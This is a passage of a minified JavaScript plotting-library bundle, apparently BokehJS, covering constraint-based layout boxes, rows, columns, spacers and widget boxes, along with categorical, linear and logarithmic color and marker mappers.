n=t(391);n.__exportStar(t(66),i),n.__exportStar(t(83),i),n.__exportStar(t(89),i),n.__exportStar(t(93),i),n.__exportStar(t(96),i),n.__exportStar(t(102),i),n.__exportStar(t(108),i),n.__exportStar(t(129),i),n.__exportStar(t(148),i),n.__exportStar(t(152),i),n.__exportStar(t(156),i),n.__exportStar(t(166),i),n.__exportStar(t(274),i),n.__exportStar(t(171),i),n.__exportStar(t(176),i),n.__exportStar(t(182),i),n.__exportStar(t(188),i),n.__exportStar(t(191),i),n.__exportStar(t(195),i),n.__exportStar(t(204),i),n.__exportStar(t(214),i),n.__exportStar(t(224),i),n.__exportStar(t(260),i)},function(t,e,i){var n=t(391),p=t(13),r=t(15),s=t(21),o=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-grid\\\")},t.prototype.get_height=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._height.value});return this.model._horizontal?s.max(e):s.sum(e)},t.prototype.get_width=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._width.value});return this.model._horizontal?s.sum(e):s.max(e)},t}(o.LayoutDOMView);i.BoxView=a;var l=function(_){function w(t){return _.call(this,t)||this}return n.__extends(w,_),w.initClass=function(){this.prototype.type=\\\"Box\\\",this.prototype.default_view=a,this.define({children:[r.Array,[]]}),this.internal({spacing:[r.Number,6]})},w.prototype.initialize=function(){_.prototype.initialize.call(this),this._child_equal_size_width=new p.Variable(this.toString()+\\\".child_equal_size_width\\\"),this._child_equal_size_height=new p.Variable(this.toString()+\\\".child_equal_size_height\\\"),this._box_equal_size_top=new p.Variable(this.toString()+\\\".box_equal_size_top\\\"),this._box_equal_size_bottom=new p.Variable(this.toString()+\\\".box_equal_size_bottom\\\"),this._box_equal_size_left=new p.Variable(this.toString()+\\\".box_equal_size_left\\\"),this._box_equal_size_right=new p.Variable(this.toString()+\\\".box_equal_size_right\\\"),this._box_cell_align_top=new p.Variable(this.toString()+\\\".box_cell_align_top\\\"),this._box_cell_align_bottom=new p.Variable(this.toString()+\\\".box_cell_align_bottom\\\"),this._box_cell_align_left=new p.Variable(this.toString()+\\\".box_cell_align_left\\\"),this._box_cell_align_right=new p.Variable(this.toString()+\\\".box_cell_align_right\\\")},w.prototype.get_layoutable_children=function(){return this.children},w.prototype.get_constrained_variables=function(){return n.__assign({},_.prototype.get_constrained_variables.call(this),{box_equal_size_top:this._box_equal_size_top,box_equal_size_bottom:this._box_equal_size_bottom,box_equal_size_left:this._box_equal_size_left,box_equal_size_right:this._box_equal_size_right,box_cell_align_top:this._box_cell_align_top,box_cell_align_bottom:this._box_cell_align_bottom,box_cell_align_left:this._box_cell_align_left,box_cell_align_right:this._box_cell_align_right})},w.prototype.get_constraints=function(){var i=_.prototype.get_constraints.call(this),t=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];i.push.apply(i,t)},e=this.get_layoutable_children();if(0==e.length)return i;for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables(),a=this._child_rect(s);this._horizontal?null!=s.height&&t(p.EQ(a.height,[-1,this._height])):null!=s.width&&t(p.EQ(a.width,[-1,this._width])),this._horizontal?null!=s.box_equal_size_left&&null!=s.box_equal_size_right&&null!=s.width&&t(p.EQ([-1,s.box_equal_size_left],[-1,s.box_equal_size_right],s.width,this._child_equal_size_width)):null!=s.box_equal_size_top&&null!=s.box_equal_size_bottom&&null!=s.height&&t(p.EQ([-1,s.box_equal_size_top],[-1,s.box_equal_size_bottom],s.height,this._child_equal_size_height))}var l=this._info(e[0].get_constrained_variables());t(p.EQ(l.span.start,0));for(var h=1;h<e.length;h++){var u=this._info(e[h].get_constrained_variables());l.span.size&&t(p.EQ(l.span.start,l.span.size,[-1,u.span.start])),t(p.WEAK_EQ(l.whitespace.after,u.whitespace.before,0-this.spacing)),t(p.GE(l.whitespace.after,u.whitespace.before,0-this.spacing)),l=u}var c=e[e.length-1].get_constrained_variables();return this._horizontal?null!=c.width&&t(p.EQ(l.span.start,l.span.size,[-1,this._width])):null!=c.height&&t(p.EQ(l.span.start,l.span.size,[-1,this._height])),i=i.concat(this._align_outer_edges_constraints(!0),this._align_outer_edges_constraints(!1),this._align_inner_cell_edges_constraints(),this._box_equal_size_bounds(!0),this._box_equal_size_bounds(!1),this._box_cell_align_bounds(!0),this._box_cell_align_bounds(!1),this._box_whitespace(!0),this._box_whitespace(!1))},w.prototype._child_rect=function(t){return{x:t.origin_x,y:t.origin_y,width:t.width,height:t.height}},w.prototype._span=function(t){return this._horizontal?{start:t.x,size:t.width}:{start:t.y,size:t.height}},w.prototype._info=function(t){var e;e=this._horizontal?{before:t.whitespace_left,after:t.whitespace_right}:{before:t.whitespace_top,after:t.whitespace_bottom};var i=this._span(this._child_rect(t));return{span:i,whitespace:e}},w.prototype._flatten_cell_edge_variables=function(t){var e;e=t?w._top_bottom_inner_cell_edge_variables:w._left_right_inner_cell_edge_variables;for(var i=t!=this._horizontal,n=this.get_layoutable_children(),r=n.length,o={},s=0,a=0,l=n;a<l.length;a++){var h=l[a],u=void 0;u=h instanceof w?h._flatten_cell_edge_variables(t):{};for(var c=h.get_constrained_variables(),_=0,p=e;_<p.length;_++){var d=p[_];d in c&&(u[d]=[c[d]])}for(var f in u){var v=u[f],m=void 0;if(i){var g=f.split(\\\" \\\"),y=g[0],b=1<g.length?g[1]:\\\"\\\",x=this._horizontal?\\\"row\\\":\\\"col\\\";m=y+\\\" \\\"+x+\\\"-\\\"+r+\\\"-\\\"+s+\\\"-\\\"+b}else m=f;o[m]=m in o?o[m].concat(v):v}s++}return o},w.prototype._align_inner_cell_edges_constraints=function(){var t=[];if(null!=this.document&&s.includes(this.document.roots(),this)){var e=this._flatten_cell_edge_variables(this._horizontal);for(var i in e){var n=e[i];if(1<n.length)for(var r=n[0],o=1;o<n.length;o++)t.push(p.EQ(n[o],[-1,r]))}}return t},w.prototype._find_edge_leaves=function(t){var e=this.get_layoutable_children(),i=[[],[]];if(0<e.length)if(this._horizontal==t){var n=e[0],r=e[e.length-1];n instanceof w?i[0]=i[0].concat(n._find_edge_leaves(t)[0]):i[0].push(n),r instanceof w?i[1]=i[1].concat(r._find_edge_leaves(t)[1]):i[1].push(r)}else for(var o=0,s=e;o<s.length;o++){var a=s[o];if(a instanceof w){var l=a._find_edge_leaves(t);i[0]=i[0].concat(l[0]),i[1]=i[1].concat(l[1])}else i[0].push(a),i[1].push(a)}return i},w.prototype._align_outer_edges_constraints=function(t){var e,i,n=this._find_edge_leaves(t),r=n[0],o=n[1];t?(e=\\\"on_edge_align_left\\\",i=\\\"on_edge_align_right\\\"):(e=\\\"on_edge_align_top\\\",i=\\\"on_edge_align_bottom\\\");var s=function(t,e){for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();e in s&&i.push(s[e])}return i},a=s(r,e),l=s(o,i),h=[],u=function(t){if(1<t.length)for(var e=t[0],i=1;i<t.length;i++){var n=t[i];h.push(p.EQ([-1,e],n))}};return u(a),u(l),h},w.prototype._box_insets_from_child_insets=function(t,e,i,a){var n,r,o,s,l=this._find_edge_leaves(t),h=l[0],u=l[1];t?(n=e+\\\"_left\\\",r=e+\\\"_right\\\",o=this[i+\\\"_left\\\"],s=this[i+\\\"_right\\\"]):(n=e+\\\"_top\\\",r=e+\\\"_bottom\\\",o=this[i+\\\"_top\\\"],s=this[i+\\\"_bottom\\\"]);var c=[],_=function(t,e,i){for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();i in s&&(a?c.push(p.GE([-1,t],s[i])):c.push(p.EQ([-1,t],s[i])))}};return _(o,h,n),_(s,u,r),c},w.prototype._box_equal_size_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_equal_size\\\",\\\"_box_equal_size\\\",!1)},w.prototype._box_cell_align_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_cell_align\\\",\\\"_box_cell_align\\\",!1)},w.prototype._box_whitespace=function(t){return this._box_insets_from_child_insets(t,\\\"whitespace\\\",\\\"_whitespace\\\",!0)},w._left_right_inner_cell_edge_variables=[\\\"box_cell_align_left\\\",\\\"box_cell_align_right\\\"],w._top_bottom_inner_cell_edge_variables=[\\\"box_cell_align_top\\\",\\\"box_cell_align_bottom\\\"],w}(o.LayoutDOM);(i.Box=l).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-column\\\")},e}(r.BoxView);i.ColumnView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Column\\\",this.prototype.default_view=o},t}(r.Box);(i.Column=s).initClass()},function(t,e,i){var n=t(154);i.Box=n.Box;var r=t(155);i.Column=r.Column;var o=t(157);i.LayoutDOM=o.LayoutDOM;var s=t(158);i.Row=s.Row;var a=t(159);i.Spacer=a.Spacer;var l=t(160);i.WidgetBox=l.WidgetBox},function(t,e,i){var n=t(391),r=t(59),g=t(5),o=t(15),s=t(11),h=t(13),a=t(4),l=t(6),u=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._solver_inited=!1,t._idle_notified=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.is_root&&(this._solver=new h.Solver),this.child_views={},this.build_child_views()},t.prototype.remove=function(){for(var t in this.child_views){var e=this.child_views[t];e.remove()}this.child_views={},i.prototype.remove.call(this)},t.prototype.has_finished=function(){if(!i.prototype.has_finished.call(this))return!1;for(var t in this.child_views){var e=this.child_views[t];if(!e.has_finished())return!1}return!0},t.prototype.notify_finished=function(){this.is_root?!this._idle_notified&&this.has_finished()&&null!=this.model.document&&(this._idle_notified=!0,this.model.document.notify_idle(this.model)):i.prototype.notify_finished.call(this)},t.prototype._calc_width_height=function(){for(var t=this.el;t=t.parentElement;)if(!t.classList.contains(\\\"bk-root\\\")){if(t==document.body){var e=g.margin(document.body),i=e.left,n=e.right,r=e.top,o=e.bottom,s=document.documentElement.clientWidth-i-n,a=document.documentElement.clientHeight-r-o;return[s,a]}var l=g.padding(t),h=l.left,u=l.right,c=l.top,_=l.bottom,p=t.getBoundingClientRect(),d=p.width,f=p.height,v=d-h-u,m=f-c-_;switch(this.model.sizing_mode){case\\\"scale_width\\\":if(0<v)return[v,0<m?m:null];break;case\\\"scale_height\\\":if(0<m)return[0<v?v:null,m];break;case\\\"scale_both\\\":case\\\"stretch_both\\\":if(0<v||0<m)return[0<v?v:null,0<m?m:null];break;default:throw new Error(\\\"unreachable\\\")}}return[null,null]},t.prototype._init_solver=function(){this._root_width=new h.Variable(this.toString()+\\\".root_width\\\"),this._root_height=new h.Variable(this.toString()+\\\".root_height\\\"),this._solver.add_edit_variable(this._root_width,NaN),this._solver.add_edit_variable(this._root_height,NaN);for(var t=this.model.get_all_editables(),e=0,i=t;e<i.length;e++){var n=i[e];this._solver.add_edit_variable(n,h.Strength.strong)}for(var r=this.model.get_all_constraints(),o=0,s=r;o<s.length;o++){var a=s[o];this._solver.add_constraint(a)}var l=this.model.get_constrained_variables();null!=l.width&&this._solver.add_constraint(h.EQ(l.width,this._root_width)),null!=l.height&&this._solver.add_constraint(h.EQ(l.height,this._root_height)),this._solver.update_variables(),this._solver_inited=!0},t.prototype._suggest_dims=function(t,e){var i,n=this.model.get_constrained_variables();null==n.width&&null==n.height||(null!=t&&null!=e||(i=this._calc_width_height(),t=i[0],e=i[1]),null!=n.width&&null!=t&&this._solver.suggest_value(this._root_width,t),null!=n.height&&null!=e&&this._solver.suggest_value(this._root_height,e),this._solver.update_variables())},t.prototype.resize=function(t,e){void 0===t&&(t=null),void 0===e&&(e=null),this.is_root?this._do_layout(!1,t,e):this.root.resize(t,e)},t.prototype.partial_layout=function(){this.is_root?this._do_layout(!1):this.root.partial_layout()},t.prototype.layout=function(){this.is_root?this._do_layout(!0):this.root.layout()},t.prototype._do_layout=function(t,e,i){void 0===e&&(e=null),void 0===i&&(i=null),this._solver_inited&&!t||(this._solver.clear(),this._init_solver()),this._suggest_dims(e,i),this._layout(),this._layout(),this._layout(!0),this.notify_finished()},t.prototype._layout=function(t){void 0===t&&(t=!1);for(var e=0,i=this.model.get_layoutable_children();e<i.length;e++){var n=i[e],r=this.child_views[n.id];null!=r._layout&&r._layout(t)}this.render(),t&&(this._has_finished=!0)},t.prototype.rebuild_child_views=function(){this.solver.clear(),this.build_child_views(),this.layout()},t.prototype.build_child_views=function(){var t=this.model.get_layoutable_children();a.build_views(this.child_views,t,{parent:this}),g.empty(this.el);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=this.child_views[n.id];this.el.appendChild(r.el)}},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.is_root&&window.addEventListener(\\\"resize\\\",this),this.connect(this.model.properties.sizing_mode.change,function(){return t.layout()})},t.prototype.handleEvent=function(){this.resize()},t.prototype.disconnect_signals=function(){window.removeEventListener(\\\"resize\\\",this),i.prototype.disconnect_signals.call(this)},t.prototype._render_classes=function(){this.el.className=\\\"\\\";for(var t=0,e=this.css_classes();t<e.length;t++){var i=e[t];this.el.classList.add(i)}this.el.classList.add(\\\"bk-layout-\\\"+this.model.sizing_mode);for(var n=0,r=this.model.css_classes;n<r.length;n++){var o=r[n];this.el.classList.add(o)}},t.prototype.render=function(){switch(this._render_classes(),this.model.sizing_mode){case\\\"fixed\\\":var t=void 0;t=null!=this.model.width?this.model.width:this.get_width(),this.model.setv({width:t},{silent:!0});var e=void 0;e=null!=this.model.height?this.model.height:this.get_height(),this.model.setv({height:e},{silent:!0}),this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e);break;case\\\"scale_width\\\":var e=this.get_height();this.solver.suggest_value(this.model._height,e);break;case\\\"scale_height\\\":var t=this.get_width();this.solver.suggest_value(this.model._width,t);break;case\\\"scale_both\\\":var i=this.get_width_height(),t=i[0],e=i[1];this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e)}this.solver.update_variables(),this.position()},t.prototype.position=function(){switch(this.model.sizing_mode){case\\\"fixed\\\":case\\\"scale_width\\\":case\\\"scale_height\\\":this.el.style.position=\\\"relative\\\",this.el.style.left=\\\"\\\",this.el.style.top=\\\"\\\";break;case\\\"scale_both\\\":case\\\"stretch_both\\\":this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\"}this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype.get_width_height=function(){var t=this._calc_width_height(),e=t[0],i=t[1];if(null==e&&null==i)throw new Error(\\\"detached element\\\");var n=this.model.get_aspect_ratio();if(null!=e&&null==i)return[e,e/n];if(null==e&&null!=i)return[i*n,i];var r,o,s=e,a=e/n,l=i*n,h=i;return s<l?(r=s,o=a):(r=l,o=h),[r,o]},t}(l.DOMView);i.LayoutDOMView=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutDOM\\\",this.define({height:[o.Number],width:[o.Number],disabled:[o.Bool,!1],sizing_mode:[o.SizingMode,\\\"fixed\\\"],css_classes:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._width=new h.Variable(this.toString()+\\\".width\\\"),this._height=new h.Variable(this.toString()+\\\".height\\\"),this._left=new h.Variable(this.toString()+\\\".left\\\"),this._right=new h.Variable(this.toString()+\\\".right\\\"),this._top=new h.Variable(this.toString()+\\\".top\\\"),this._bottom=new h.Variable(this.toString()+\\\".bottom\\\"),this._dom_top=new h.Variable(this.toString()+\\\".dom_top\\\"),this._dom_left=new h.Variable(this.toString()+\\\".dom_left\\\"),this._width_minus_right=new h.Variable(this.toString()+\\\".width_minus_right\\\"),this._height_minus_bottom=new h.Variable(this.toString()+\\\".height_minus_bottom\\\"),this._whitespace_top=new h.Variable(this.toString()+\\\".whitespace_top\\\"),this._whitespace_bottom=new h.Variable(this.toString()+\\\".whitespace_bottom\\\"),this._whitespace_left=new h.Variable(this.toString()+\\\".whitespace_left\\\"),this._whitespace_right=new h.Variable(this.toString()+\\\".whitespace_right\\\")},Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value,dom_top:this._dom_top.value,dom_left:this._dom_left.value}},enumerable:!0,configurable:!0}),t.prototype.dump_layout=function(){for(var t,e={},i=[this];t=i.shift();)i.push.apply(i,t.get_layoutable_children()),e[t.toString()]=t.layout_bbox;console.table(e)},t.prototype.get_all_constraints=function(){for(var t=this.get_constraints(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_constraints()):t.concat(n.get_all_constraints())}return t},t.prototype.get_all_editables=function(){for(var t=this.get_editables(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_editables()):t.concat(n.get_all_editables())}return t},t.prototype.get_constraints=function(){return[h.GE(this._dom_left),h.GE(this._dom_top),h.GE(this._left),h.GE(this._width,[-1,this._right]),h.GE(this._top),h.GE(this._height,[-1,this._bottom]),h.EQ(this._width_minus_right,[-1,this._width],this._right),h.EQ(this._height_minus_bottom,[-1,this._height],this._bottom)]},t.prototype.get_layoutable_children=function(){return[]},t.prototype.get_editables=function(){switch(this.sizing_mode){case\\\"fixed\\\":return[this._height,this._width];case\\\"scale_width\\\":return[this._height];case\\\"scale_height\\\":return[this._width];case\\\"scale_both\\\":return[this._width,this._height];default:return[]}},t.prototype.get_constrained_variables=function(){var t={origin_x:this._dom_left,origin_y:this._dom_top,whitespace_top:this._whitespace_top,whitespace_bottom:this._whitespace_bottom,whitespace_left:this._whitespace_left,whitespace_right:this._whitespace_right};switch(this.sizing_mode){case\\\"stretch_both\\\":t.width=this._width,t.height=this._height;break;case\\\"scale_width\\\":t.width=this._width;break;case\\\"scale_height\\\":t.height=this._height}return t},t.prototype.get_aspect_ratio=function(){return this.width/this.height},t}(r.Model);(i.LayoutDOM=c).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-row\\\")},e}(r.BoxView);i.RowView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Row\\\",this.prototype.default_view=o},t}(r.Box);(i.Row=s).initClass()},function(t,e,i){var n=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),\\\"fixed\\\"==this.model.sizing_mode&&(this.el.style.width=this.model.width+\\\"px\\\",this.el.style.height=this.model.height+\\\"px\\\")},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-spacer-box\\\")},e.prototype.get_width=function(){return 1},e.prototype.get_height=function(){return 1},e}(r.LayoutDOMView);i.SpacerView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Spacer\\\",this.prototype.default_view=o},t.prototype.get_constrained_variables=function(){return n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom,box_equal_size_left:this._left,box_equal_size_right:this._width_minus_right})},t}(r.LayoutDOM);(i.Spacer=s).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(15),s=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget-box\\\")},t.prototype.render=function(){if(this._render_classes(),\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_height\\\"==this.model.sizing_mode){var t=this.get_width();this.model._width.value!=t&&this.solver.suggest_value(this.model._width,t)}if(\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_width\\\"==this.model.sizing_mode){var e=this.get_height();this.model._height.value!=e&&this.solver.suggest_value(this.model._height,e)}if(this.solver.update_variables(),\\\"stretch_both\\\"==this.model.sizing_mode)this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\";else{var i=void 0;i=0<this.model._width.value-20?this.model._width.value-20+\\\"px\\\":\\\"100%\\\",this.el.style.width=i}},t.prototype.get_height=function(){var t=0;for(var e in this.child_views){var i=this.child_views[e],n=i.el,r=getComputedStyle(n),o=parseInt(r.marginTop)||0,s=parseInt(r.marginBottom)||0;t+=n.offsetHeight+o+s}return t+20},t.prototype.get_width=function(){if(null!=this.model.width)return this.model.width;var t=this.el.scrollWidth+20;for(var e in this.child_views){var i=this.child_views[e],n=i.el.scrollWidth;t<n&&(t=n)}return t},t}(s.LayoutDOMView);i.WidgetBoxView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WidgetBox\\\",this.prototype.default_view=a,this.define({children:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),\\\"fixed\\\"==this.sizing_mode&&null==this.width&&(this.width=300,r.logger.info(\\\"WidgetBox mode is fixed, but no width specified. Using default of 300.\\\"))},t.prototype.get_constrained_variables=function(){var t=n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this._left,t.box_equal_size_right=this._width_minus_right),t},t.prototype.get_layoutable_children=function(){return this.children},t}(s.LayoutDOM);(i.WidgetBox=l).initClass()},function(t,e,i){var n=t(391),o=t(162),r=t(164),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalColorMapper\\\",this.define({factors:[s.Array],start:[s.Number,0],end:[s.Number]})},t.prototype._v_compute=function(t,e,i,n){var r=n.nan_color;o.cat_v_compute(t,this.factors,i,e,this.start,this.end,r)},t}(r.ColorMapper);(i.CategoricalColorMapper=a).initClass()},function(t,e,i){var _=t(21),p=t(44);function d(t,e){if(t.length!=e.length)return!1;for(var i=0,n=t.length;i<n;i++)if(t[i]!==e[i])return!1;return!0}i._cat_equals=d,i.cat_v_compute=function(o,s,a,l,h,u,c){for(var t=function(t,e){var i=o[t],n=void 0;p.isString(i)?n=s.indexOf(i):(null!=h?i=null!=u?i.slice(h,u):i.slice(h):null!=u&&(i=i.slice(0,u)),n=1==i.length?s.indexOf(i[0]):_.findIndex(s,function(t){return d(t,i)}));var r=void 0;r=n<0||n>=a.length?c:a[n],l[t]=r},e=0,i=o.length;e<i;e++)t(e,i)}},function(t,e,i){var n=t(391),r=t(162),o=t(169),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalMarkerMapper\\\",this.define({factors:[s.Array],markers:[s.Array],start:[s.Number,0],end:[s.Number],default_value:[s.String,\\\"circle\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return r.cat_v_compute(t,this.factors,this.markers,e,this.start,this.end,this.default_value),e},t}(o.Mapper);(i.CategoricalMarkerMapper=a).initClass()},function(t,e,i){var n=t(391),r=t(169),o=t(15),s=t(27),a=t(28);function l(t){return\\\"#\\\"!=t[0]&&(t=s.color2hex(t)),9!=t.length&&(t+=\\\"ff\\\"),parseInt(t.slice(1),16)}function h(t){for(var e=new Uint32Array(t.length),i=0,n=t.length;i<n;i++)e[i]=l(t[i]);return e}function u(t){if(a.is_little_endian)for(var e=new DataView(t.buffer),i=0,n=t.length;i<n;i++)e.setUint32(4*i,t[i]);return new Uint8Array(t.buffer)}i._convert_color=l,i._convert_palette=h,i._uint32_to_rgba=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorMapper\\\",this.define({palette:[o.Any],nan_color:[o.Color,\\\"gray\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return this._v_compute(t,e,this.palette,this._colors(function(t){return t})),e},Object.defineProperty(t.prototype,\\\"rgba_mapper\\\",{get:function(){var i=this,n=h(this.palette),r=this._colors(l);return{v_compute:function(t){var e=new Uint32Array(t.length);return i._v_compute(t,e,n,r),u(e)}}},enumerable:!0,configurable:!0}),t.prototype._colors=function(t){return{nan_color:t(this.nan_color)}},t}(r.Mapper);(i.ColorMapper=c).initClass()},function(t,e,i){var n=t(391),r=t(164),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousColorMapper\\\",this.define({high:[o.Number],low:[o.Number],high_color:[o.Color],low_color:[o.Color]})},t.prototype._colors=function(t){return n.__assign({},e.prototype._colors.call(this,t),{low_color:null!=this.low_color?t(this.low_color):void 0,high_color:null!=this.high_color?t(this.high_color):void 0})},t}(r.ColorMapper);(i.ContinuousColorMapper=s).initClass()},function(t,e,i){var n=t(161);i.CategoricalColorMapper=n.CategoricalColorMapper;var r=t(163);i.CategoricalMarkerMapper=r.CategoricalMarkerMapper;var o=t(165);i.ContinuousColorMapper=o.ContinuousColorMapper;var s=t(164);i.ColorMapper=s.ColorMapper;var a=t(167);i.LinearColorMapper=a.LinearColorMapper;var l=t(168);i.LogColorMapper=l.LogColorMapper},function(t,e,i){var n=t(391),r=t(165),m=t(22),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=null!=this.low?this.low:m.min(t),l=null!=this.high?this.high:m.max(t),h=i.length-1,u=1/(l-a),c=1/i.length,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(d!=l){var f=(d-a)*u,v=Math.floor(f/c);e[_]=v<0?null!=o?o:i[0]:h<v?null!=s?s:i[h]:i[v]}else e[_]=i[h]}},t}(r.ContinuousColorMapper);(i.LinearColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(165),m=t(22),g=null!=Math.log1p?Math.log1p:function(t){return Math.log(1+t)},o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=i.length,l=null!=this.low?this.low:m.min(t),h=null!=this.high?this.high:m.max(t),u=a/(g(h)-g(l)),c=i.length-1,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(h<d)e[_]=null!=s?s:i[c];else if(d!=h)if(d<l)e[_]=null!=o?o:i[0];else{var f=g(d)-g(l),v=Math.floor(f*u);c<v&&(v=c),e[_]=i[v]}else e[_]=i[c]}},t}(r.ContinuousColorMapper);(i.LogColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(279),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Mapper\\\"},t.prototype.compute=function(t){throw new Error(\\\"mapping single values is not supported\\\")},t}(r.Transform);(i.Mapper=o).initClass()},function(t,e,i){var o=t(391),s=t(172),h=Math.sqrt(3);function a(t,e){t.moveTo(-e,e),t.lineTo(e,-e),t.moveTo(-e,-e),t.lineTo(e,e)}function l(t,e){t.moveTo(0,e),t.lineTo(0,-e),t.moveTo(-e,0),t.lineTo(e,0)}function u(t,e){t.moveTo(0,e),t.lineTo(e/1.5,0),t.lineTo(0,-e),t.lineTo(-e/1.5,0),t.closePath()}function c(t,e){var i=e*h,n=i/3;t.moveTo(-e,n),t.lineTo(e,n),t.lineTo(0,n-i),t.closePath()}function n(t,e,i,n,r){var o=.65*i;l(t,i),a(t,o),n.doit&&(n.set_vectorize(t,e),t.stroke())}function r(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function _(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function p(t,e,i,n,r){l(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function 